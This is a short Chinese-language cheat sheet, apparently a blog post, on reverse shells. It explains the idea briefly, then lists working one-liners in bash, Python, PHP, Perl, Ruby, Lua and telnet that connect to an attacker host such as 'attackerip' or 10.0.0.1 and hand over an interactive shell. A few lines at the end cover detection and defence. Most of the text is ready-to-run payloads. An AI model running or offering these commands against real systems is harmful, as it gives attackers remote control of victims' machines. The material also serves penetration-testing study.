简介
如果我们需要到服务器上执行 Shell 命令,但是因为防火墙等原因,无法由客户端主动发起连接的情况,就可以使用反弹 Shell 来满足登陆和操作的需求。
原理
操作受害者机器,将某开放端口的数据发送到可执行命令的程序上,将结果返回给攻击机。攻击机发送向受害者开放端口发送命令,接收命令执行结果。
反弹shell
bash
bash -i >& /dev/tcp/ip/port 0>&1
0:标准输入;1:标准输出;2:标准错误。
bash -i:产生一个交互式环境
>&:将标准输出和标准错误结合,一起重定向给后者
/dev/tcp/ip/port:建立一个tcp连接
0>&1:将标准输入重定向到标准输出
nc
Linux命令-nc(端口监控、文件传输、反弹shell等)_lady_killer9的博客-CSDN博客
python
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
python -c command
将字符串当做python代码执行
同理,上面也是利用bash进行的反弹
php
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
ruby
ruby -rsocket -e'f=TCPSocket.open("接收端ip",端口).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
telnet
mknod a p; telnet 接收端IP 端口 0<a | /bin/bash 1>a
Windows平台,可以使用powercat reverseudpshell icmpsh
检测
及时发现Bash进程启动事件
检查Bash进程是否打开了终端设备,是否有主动对外连接
防御
防火墙限制
Netlink监听,kill进程(详见腾讯云参考)
参考
常用的反弹shell总结_西部壮仔的博客-CSDN博客_反弹shell能干嘛